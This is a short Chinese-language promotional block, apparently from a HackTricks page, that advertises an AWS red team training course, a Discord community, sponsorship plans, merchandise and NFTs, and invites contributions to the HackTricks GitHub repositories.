
**最新公告**\
通过最新的赏金计划发布和重要平台更新保持信息更新

**加入我们的**[**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
